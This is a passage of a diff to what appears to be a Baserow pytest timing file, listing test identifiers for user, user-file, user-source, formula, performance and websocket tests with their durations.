"tests/baserow/core/user/test_user_handler.py::test_send_reset_password_email": 0.3108250000004773, - "tests/baserow/core/user/test_user_handler.py::test_send_reset_password_email_in_different_language": 0.31808287400144764, - "tests/baserow/core/user/test_user_handler.py::test_send_reset_password_email_reset_password_disabled": 0.30490950099920155, - "tests/baserow/core/user/test_user_handler.py::test_share_onboarding_details_with_baserow_valid_response": 0.01426674999856914, - "tests/baserow/core/user/test_user_handler.py::test_start_share_onboarding_details_with_baserow": 0.14595387500048673, - "tests/baserow/core/user/test_user_handler.py::test_update_user": 0.14087812500019936, - "tests/baserow/core/user/test_user_handler.py::test_user_handler_delete_user_log_entries_older_than": 0.27627566599858255, - "tests/baserow/core/user/test_user_handler.py::test_verify_email_address": 0.1468674160005321, - "tests/baserow/core/user/test_user_handler.py::test_verify_email_address_already_verified": 0.1529753750000964, - "tests/baserow/core/user/test_user_handler.py::test_verify_email_address_expired": 0.18055629199989198, - "tests/baserow/core/user/test_user_handler.py::test_verify_email_address_user_different_email": 0.16224062599940225, - "tests/baserow/core/user/test_user_handler.py::test_verify_email_address_user_doesnt_exist": 0.16254641599971364, - "tests/baserow/core/user/test_user_subject_type.py::test_user_subject_get_users_included_in_subject": 0.1441989579998335, - "tests/baserow/core/user/test_user_subject_type.py::test_user_subject_type_is_in_workspace": 0.5507189589998234, - "tests/baserow/core/user/test_user_tasks.py::test_flush_expired_tokens": 0.1859986260005826, - "tests/baserow/core/user/test_user_utils.py::test_normalize_email_address": 0.00937975099986943, - "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_adds_if_files_zip_is_empty_and_not_in_cache": 0.14742137500070385, - "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_doesnt_add_if_file_exists_in_files_zip": 0.1554298339997331, - "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_doesnt_add_if_file_in_cache": 0.14591579199986882, - "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_returns_none_if_user_file_is_empty": 0.00801299900012964, + "tests/baserow/core/user/test_user_handler.py::test_delete_expired_users_and_related_workspaces_if_last_admin": 1.0117479589534923, + "tests/baserow/core/user/test_user_handler.py::test_duplicate_blacklist_refresh_token": 0.01721120797446929, + "tests/baserow/core/user/test_user_handler.py::test_first_ever_created_user_is_staff": 0.17465920801623724, + "tests/baserow/core/user/test_user_handler.py::test_get_user": 0.08848058397416025, + "tests/baserow/core/user/test_user_handler.py::test_refresh_token_is_blacklisted": 0.020600374991772696, + "tests/baserow/core/user/test_user_handler.py::test_reset_password": 0.6706129579979461, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[984kds]": 0.09026979102054611, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[Bgvmt95en6HGJZ9Xz0F8xysQ6eYgo2Y54YzRPxxv10b5n16F4rZ6YH4ulonocwiFK6970KiAxoYhULYA3JFDPIQGj5gMZZl25M46sO810Zd3nyBg699a2TDMJdHG7hAAi0YeDnuHuabyBawnb4962OQ1OOf1MxzFyNWG7NR2X6MZQL5G1V61x56lQTXbvK1AG1IPM87bQ3YAtIBtGT2vK3Wd83q3he5ezMtUfzK2ibj0WWhf86DyQB4EHRUJjYcBiI78iEJv5hcu33X2I345YosO66cTBWK45SqJEDudrCOq]": 0.09243783296551555, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[]": 0.09046362500521354, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[a]": 0.0897825829742942, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[ab]": 0.08846204204019159, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[ask]": 0.0862600420077797, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[dsfkjh4]": 0.08874337500310503, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[dsj43]": 0.08985745901009068, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_invalid_new_password[oiue]": 0.08788104201084934, + "tests/baserow/core/user/test_user_handler.py::test_reset_password_reset_password_disabled": 0.09188483396428637, + "tests/baserow/core/user/test_user_handler.py::test_schedule_user_deletion": 0.4086464580032043, + "tests/baserow/core/user/test_user_handler.py::test_send_email_pending_verification": 0.32444245798978955, + "tests/baserow/core/user/test_user_handler.py::test_send_email_pending_verification_already_verified": 0.08698220798396505, + "tests/baserow/core/user/test_user_handler.py::test_send_reset_password_email": 0.3260963340289891, + "tests/baserow/core/user/test_user_handler.py::test_send_reset_password_email_in_different_language": 0.6897695009829476, + "tests/baserow/core/user/test_user_handler.py::test_send_reset_password_email_reset_password_disabled": 0.3242962899967097, + "tests/baserow/core/user/test_user_handler.py::test_share_onboarding_details_with_baserow_valid_response": 0.019616373989265412, + "tests/baserow/core/user/test_user_handler.py::test_start_share_onboarding_details_with_baserow": 0.0885741250240244, + "tests/baserow/core/user/test_user_handler.py::test_update_user": 0.1046638750412967, + "tests/baserow/core/user/test_user_handler.py::test_user_handler_delete_user_log_entries_older_than": 0.1619503740221262, + "tests/baserow/core/user/test_user_handler.py::test_verify_email_address": 0.09038020897423849, + "tests/baserow/core/user/test_user_handler.py::test_verify_email_address_already_verified": 0.08774737501516938, + "tests/baserow/core/user/test_user_handler.py::test_verify_email_address_expired": 0.15101404098095372, + "tests/baserow/core/user/test_user_handler.py::test_verify_email_address_user_different_email": 0.08868737501325086, + "tests/baserow/core/user/test_user_handler.py::test_verify_email_address_user_doesnt_exist": 0.11364283299189992, + "tests/baserow/core/user/test_user_subject_type.py::test_user_subject_get_users_included_in_subject": 0.08623399998759851, + "tests/baserow/core/user/test_user_subject_type.py::test_user_subject_type_is_in_workspace": 0.3095624589768704, + "tests/baserow/core/user/test_user_tasks.py::test_flush_expired_tokens": 0.1403054999827873, + "tests/baserow/core/user/test_user_utils.py::test_normalize_email_address": 0.01383091599564068, + "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_adds_if_files_zip_is_empty_and_not_in_cache": 0.09167758200783283, + "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_doesnt_add_if_file_exists_in_files_zip": 0.09166537498822436, + "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_doesnt_add_if_file_in_cache": 0.08903466598712839, + "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_returns_none_if_user_file_is_empty": 0.012927041039802134, "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_returns_none_if_user_file_or_storage_are_empty[None-None-None]": 0.008811713894829154, "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_returns_none_if_user_file_or_storage_are_empty[None-True-None]": 0.00922208302654326, "tests/baserow/core/user_file/test_user_file_handler.py::test_export_user_file_returns_none_if_user_file_or_storage_are_empty[True-None-None]": 0.010984600987285376, - "tests/baserow/core/user_file/test_user_file_handler.py::test_generate_unique": 0.1641754590000346, - "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_none_if_name_or_original_name_are_empty[None-None]": 0.01130133299920999, - "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_none_if_name_or_original_name_are_empty[None-bar]": 0.010334874999898602, - "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_none_if_name_or_original_name_are_empty[foo-None]": 0.010632749999786029, - "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_none_if_user_file_is_empty": 0.007685790997129516, - "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_user_file_from_files_zip": 0.008627999000964337, - "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_user_file_from_handler_if_files_zip_is_none": 0.007944290999148507, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file": 0.2815644580005028, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url": 0.1699457499989876, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_image_without_extension_with_wrong_content_type": 0.16721387500001583, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_content_type": 0.1820205009998972, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/../..]": 0.14819945900035236, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/../.]": 0.14809516700006498, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/../]": 0.14791516599871102, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/..]": 0.14591229199959344, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/.]": 0.1638239159992736, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_querystring": 0.1695360840003559, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_slash": 0.1669739999988451, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_within_private_network": 0.14522687599946948, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_without_path": 0.16842878999887034, - "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_with_truncated_image": 0.14769733300090593, - "tests/baserow/core/user_file/test_user_file_handler.py::test_user_file_path": 0.14470070900097198, - "tests/baserow/core/user_file/test_user_file_handler.py::test_user_file_thumbnail_path": 0.1452607920000446, - "tests/baserow/core/user_file/test_user_file_managers.py::test_user_file_name": 0.41280175000065356, - "tests/baserow/core/user_file/test_user_file_models.py::test_serialize_user_file": 0.011184999999386491, - "tests/baserow/core/user_file/test_user_file_models.py::test_user_file_deconstruct_name": 0.009453373999349424, - "tests/baserow/core/user_file/test_user_file_models.py::test_user_file_deconstruct_name_with_extension_suffix": 0.00956745900111855, - "tests/baserow/core/user_file/test_user_file_models.py::test_user_file_name": 0.010530416999245062, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_create_user_source[local_baserow]": 0.14711825100039277, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_create_user_source_bad_application": 0.16400008399978105, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_create_user_source_check_uid": 0.17603099899952213, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_delete_user_source": 0.14607908400103042, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_export_then_import_user_source": 0.15596025100148836, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_export_user_source": 0.1522239180003453, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a0-roles_b0-expected_roles0]": 0.04819079199933185, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a1-roles_b1-expected_roles1]": 0.04915637399881234, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a2-roles_b2-expected_roles2]": 0.04897362400060956, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a3-roles_b3-expected_roles3]": 0.048922249000497686, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a4-roles_b4-expected_roles4]": 0.048799665999467834, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_default_user_role": 0.15032670899927325, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_user_source": 0.15532937399984803, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_user_source_does_not_exist": 0.011692707001202507, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_user_sources": 0.01525749999927939, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_import_user_source": 0.14826729299966246, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_import_user_source_with_migrated_integration": 0.1482555010006763, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_move_user_source_before": 0.01615399900038028, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_move_user_source_before_fails": 0.013045083000179147, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_move_user_source_end_of_application": 0.01630633399963699, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_recalculate_full_orders": 0.026965666000251076, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_update_user_source": 0.1507210000008854, - "tests/baserow/core/user_sources/test_user_source_handler.py::test_update_user_source_invalid_values": 0.16371508199972595, - "tests/baserow/core/user_sources/test_user_source_middleware.py::test_user_source_middleware_adds_user_source_user": 0.3065675010002451, - "tests/baserow/core/user_sources/test_user_source_middleware.py::test_user_source_middleware_dont_adds_user_source_bad_token": 0.27734016600061295, - "tests/baserow/core/user_sources/test_user_source_middleware.py::test_user_source_middleware_dont_adds_user_source_user_if_no_permissions": 0.28949241600003006, - "tests/baserow/core/user_sources/test_user_source_middleware.py::test_user_source_middleware_dont_adds_user_source_user_if_published": 0.2952225829994859, - "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source[local_baserow]": 0.15149349899911613, - "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source_before": 0.1515390419999676, - "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source_permission_denied": 0.16751620699960768, - "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source_w_auth_source": 0.14774149899949407, - "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source_w_incompatible_auth_source": 0.1479744580001352, - "tests/baserow/core/user_sources/test_user_source_service.py::test_delete_user_source": 0.15153333400121483, - "tests/baserow/core/user_sources/test_user_source_service.py::test_delete_user_source_permission_denied": 0.30646783399970445, - "tests/baserow/core/user_sources/test_user_source_service.py::test_get_unique_orders_before_user_source_triggering_full_application_order_reset": 0.15416462599932856, - "tests/baserow/core/user_sources/test_user_source_service.py::test_get_user_source": 0.15762608500062925, - "tests/baserow/core/user_sources/test_user_source_service.py::test_get_user_source_does_not_exist": 0.16065825000077893, - "tests/baserow/core/user_sources/test_user_source_service.py::test_get_user_source_permission_denied": 0.15819174999978713, - "tests/baserow/core/user_sources/test_user_source_service.py::test_get_user_sources": 0.15447983399917575, - "tests/baserow/core/user_sources/test_user_source_service.py::test_move_user_source": 0.15046979199996713, - "tests/baserow/core/user_sources/test_user_source_service.py::test_move_user_source_not_same_application": 0.15104629199868214, - "tests/baserow/core/user_sources/test_user_source_service.py::test_move_user_source_permission_denied": 0.14593620899995585, + "tests/baserow/core/user_file/test_user_file_handler.py::test_generate_unique": 0.12247566602309234, + "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_none_if_name_or_original_name_are_empty[None-None]": 0.0169007089571096, + "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_none_if_name_or_original_name_are_empty[None-bar]": 0.016990750009426847, + "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_none_if_name_or_original_name_are_empty[foo-None]": 0.016843041987158358, + "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_none_if_user_file_is_empty": 0.012631001009140164, + "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_user_file_from_files_zip": 0.01403545803623274, + "tests/baserow/core/user_file/test_user_file_handler.py::test_import_user_file_returns_user_file_from_handler_if_files_zip_is_none": 0.012745208980049938, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file": 0.19558199899620377, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url": 0.12078954299795441, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_image_without_extension_with_wrong_content_type": 0.11527637398103252, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_content_type": 0.11660320701776072, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/../..]": 0.08843945799162611, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/../.]": 0.0894258749904111, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/../]": 0.088248999993084, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/..]": 0.08579079300398007, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_invalid_paths[https://baserow.io/-https://baserow.io/.]": 0.09019949997309595, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_querystring": 0.11811858299188316, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_with_slash": 0.11605437501566485, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_within_private_network": 0.089736124034971, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_by_url_without_path": 0.11226570801227354, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_with_truncated_image": 0.09375541700865142, + "tests/baserow/core/user_file/test_user_file_handler.py::test_upload_user_file_with_unsupported_image_format": 0.09488374998909421, + "tests/baserow/core/user_file/test_user_file_handler.py::test_user_file_path": 0.08991420900565572, + "tests/baserow/core/user_file/test_user_file_handler.py::test_user_file_thumbnail_path": 0.08776020901859738, + "tests/baserow/core/user_file/test_user_file_managers.py::test_user_file_name": 0.23713287495775148, + "tests/baserow/core/user_file/test_user_file_models.py::test_serialize_user_file": 0.016845209000166506, + "tests/baserow/core/user_file/test_user_file_models.py::test_user_file_deconstruct_name": 0.015121666976483539, + "tests/baserow/core/user_file/test_user_file_models.py::test_user_file_deconstruct_name_with_extension_suffix": 0.01562783299596049, + "tests/baserow/core/user_file/test_user_file_models.py::test_user_file_name": 0.017821124027250335, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_aggregate_user_counts": 0.6266168740112334, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_create_user_source[local_baserow]": 0.09721425001043826, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_create_user_source_bad_application": 0.09062100094160996, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_create_user_source_check_uid": 0.09667795899440534, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_delete_user_source": 0.10353050095727667, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_export_then_import_user_source": 0.11313566699391231, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_export_user_source": 0.10872183300671168, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_generate_update_user_count_chunk_queryset": 0.16942299902439117, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a0-roles_b0-expected_roles0]": 0.11124362499685958, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a1-roles_b1-expected_roles1]": 0.09021937398938462, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a2-roles_b2-expected_roles2]": 0.10408537500188686, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a3-roles_b3-expected_roles3]": 0.10192279101465829, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_all_roles_for_application_returns_user_roles[roles_a4-roles_b4-expected_roles4]": 0.10562437598127872, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_default_user_role": 0.1012168750166893, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_user_source": 0.09978941598092206, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_user_source_does_not_exist": 0.0169936660095118, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_get_user_sources": 0.041289249988039955, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_import_user_source": 0.10979254200356081, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_import_user_source_with_migrated_integration": 0.09955545800039545, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_move_user_source_before": 0.036988041014410555, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_move_user_source_before_fails": 0.03093062501284294, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_move_user_source_end_of_application": 0.04031308300909586, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_recalculate_full_orders": 0.05867608299013227, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_update_all_user_source_counts": 0.017501625028671697, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_update_all_user_source_counts_in_chunks": 0.40950508299283683, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_update_user_source": 0.11597808203077875, + "tests/baserow/core/user_sources/test_user_source_handler.py::test_update_user_source_invalid_values": 0.10601862400653772, + "tests/baserow/core/user_sources/test_user_source_middleware.py::test_user_source_middleware_adds_user_source_user": 0.19946329199592583, + "tests/baserow/core/user_sources/test_user_source_middleware.py::test_user_source_middleware_dont_adds_user_source_bad_token": 0.16964000099687837, + "tests/baserow/core/user_sources/test_user_source_middleware.py::test_user_source_middleware_dont_adds_user_source_user_if_no_permissions": 0.1855057500069961, + "tests/baserow/core/user_sources/test_user_source_middleware.py::test_user_source_middleware_dont_adds_user_source_user_if_published": 0.18226283299736679, + "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source[local_baserow]": 0.10957108400180005, + "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source_before": 0.10335933306487277, + "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source_permission_denied": 0.09049641599995084, + "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source_w_auth_source": 0.09836604096926749, + "tests/baserow/core/user_sources/test_user_source_service.py::test_create_user_source_w_incompatible_auth_source": 0.09674862498650327, + "tests/baserow/core/user_sources/test_user_source_service.py::test_delete_user_source": 0.0984584589896258, + "tests/baserow/core/user_sources/test_user_source_service.py::test_delete_user_source_permission_denied": 0.32804629200836644, + "tests/baserow/core/user_sources/test_user_source_service.py::test_get_unique_orders_before_user_source_triggering_full_application_order_reset": 0.11500716599402949, + "tests/baserow/core/user_sources/test_user_source_service.py::test_get_user_source": 0.10258900097687729, + "tests/baserow/core/user_sources/test_user_source_service.py::test_get_user_source_does_not_exist": 0.09747595901717432, + "tests/baserow/core/user_sources/test_user_source_service.py::test_get_user_source_permission_denied": 0.09843654200085439, + "tests/baserow/core/user_sources/test_user_source_service.py::test_get_user_sources": 0.12300237399176694, + "tests/baserow/core/user_sources/test_user_source_service.py::test_move_user_source": 0.1130467509792652, + "tests/baserow/core/user_sources/test_user_source_service.py::test_move_user_source_not_same_application": 0.11446770798647776, + "tests/baserow/core/user_sources/test_user_source_service.py::test_move_user_source_permission_denied": 0.10223812499316409, + "tests/baserow/core/user_sources/test_user_source_service.py::test_move_user_source_trigger_order_recalculated": 0.1103132080170326, "tests/baserow/core/user_sources/test_user_source_service.py::test_move_user_source_trigger_order_recalculed": 0.1531081670000276, - "tests/baserow/core/user_sources/test_user_source_service.py::test_recalculate_full_order": 0.16371833400080504, - "tests/baserow/core/user_sources/test_user_source_service.py::test_update_user_source": 0.1499077499993291, - "tests/baserow/core/user_sources/test_user_source_service.py::test_update_user_source_permission_denied": 0.307401750000281, - "tests/baserow/formula/test_python_executor.py::test_formula_function_does_not_exist": 0.007699625000896049, - "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data0]": 0.008298124997963896, - "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data1]": 0.0077852920003351755, - "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data2]": 0.007887374998972518, - "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data3]": 0.007986623999386211, - "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data4]": 0.007936208998216898, - "tests/baserow/formula/test_python_executor.py::test_invalid_number_of_arguments": 0.007874834000176634, - "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data0]": 0.008335335000083433, - "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data1]": 0.007855748999645584, - "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data2]": 0.007699167001192109, - "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data3]": 0.00805274900085351, - "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data4]": 0.0076388330016925465, - "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data5]": 0.008812291998765431, - "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data6]": 0.008103292000669171, - "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data7]": 0.008241334002377698, - "tests/baserow/performance/test_field_performance.py::test_speed_of_table_copy": 0.00012408299971866654, - "tests/baserow/performance/test_field_performance.py::test_speed_of_table_copy_via_export": 8.737499956623651e-05, - "tests/baserow/performance/test_field_performance.py::test_updating_many_fields_doesnt_slow_down_get_rows": 8.295800034829881e-05, - "tests/baserow/performance/test_formula_performance.py::test_adding_a_formula_field_compared_to_normal_field_isnt_slow": 9.341700024378952e-05, - "tests/baserow/performance/test_formula_performance.py::test_altering_very_nested_formula_field": 8.47490000523976e-05, - "tests/baserow/performance/test_formula_performance.py::test_creating_very_nested_formula_field": 8.179100041161291e-05, - "tests/baserow/performance/test_formula_performance.py::test_fanout": 7.612500030518277e-05, - "tests/baserow/performance/test_formula_performance.py::test_fanout_one_off": 7.662499956495594e-05, - "tests/baserow/performance/test_formula_performance.py::test_getting_data_from_a_very_nested_formula_field": 7.974900017870823e-05, - "tests/baserow/performance/test_formula_performance.py::test_getting_data_from_normal_table": 7.829199967090972e-05, - "tests/baserow/performance/test_formula_performance.py::test_very_nested_formula_field_change": 0.0001926260001710034, - "tests/baserow/performance/test_public_sharing_performance.py::test_creating_many_rows_in_public_filtered_views": 0.00017787499928090256, - "tests/baserow/performance/test_public_sharing_performance.py::test_updating_many_rows_in_public_filtered_views": 8.870900001056725e-05, - "tests/baserow/performance/test_trash_performance.py::test_deleting_many_of_rows_is_fast": 0.00014270799874793738, - "tests/baserow/performance/test_view_performance.py::test_getting_rows_from_large_grid_view": 9.545800094201695e-05, - "tests/baserow/ws/test_ws_auth.py::test_get_user": 0.3173633760006851, - "tests/baserow/ws/test_ws_auth.py::test_token_auth_middleware": 0.3124742080017313, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_add_page_doesnt_exist": 0.17524962500010588, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_add_to_page_failure": 0.3120756669995899, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_add_to_page_success": 0.31267008500071825, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[None-some_web_socket_id-user0-exclude_user_ids0-True]": 0.17516858399994817, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[None-some_web_socket_id-user2-exclude_user_ids2-True]": 0.1746385829992505, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[None-some_web_socket_id-user4-exclude_user_ids4-False]": 0.17560608299936575, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[None-some_web_socket_id-user5-exclude_user_ids5-False]": 0.17441354299990053, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[some_web_socket_id-another_web_socket_id-user1-exclude_user_ids1-True]": 0.1886821250009234, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[some_web_socket_id-another_web_socket_id-user6-exclude_user_ids6-False]": 0.17537333400105126, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[some_web_socket_id-some_web_socket_id-user3-exclude_user_ids3-False]": 0.17298091699922225, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_connect_authenticated": 0.3104714179999064, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_connect_authenticated_anonymous": 0.3196581670008527, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_connect_not_authenticated": 0.17219083300005877, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_remove_all_page_scopes": 0.30614479200085043, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_remove_page_doesnt_exist": 0.17712974999994913, - "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_remove_page_success": 0.3247714580002139, - "tests/baserow/ws/test_ws_consumers.py::test_get_page_context": 0.31445650099976774, - "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_adds_page_without_duplicates": 0.00788812499922642, - "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_has_pages_with_permission_group": 0.007967999999891617, - "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_is_page_in_permission_group": 0.008442416998150293, - "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_removes_pages_by_parameters": 0.0076080420021753525, - "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_removes_pages_without_error": 0.007520082999690203, + "tests/baserow/core/user_sources/test_user_source_service.py::test_recalculate_full_order": 0.09879695798736066, + "tests/baserow/core/user_sources/test_user_source_service.py::test_update_user_source": 0.11224316695006564, + "tests/baserow/core/user_sources/test_user_source_service.py::test_update_user_source_permission_denied": 0.33011749901925214, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[-]": 0.01274191602715291, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[A-%p]": 0.012646167015191168, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[D-%-d]": 0.016356500011170283, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[DD DD 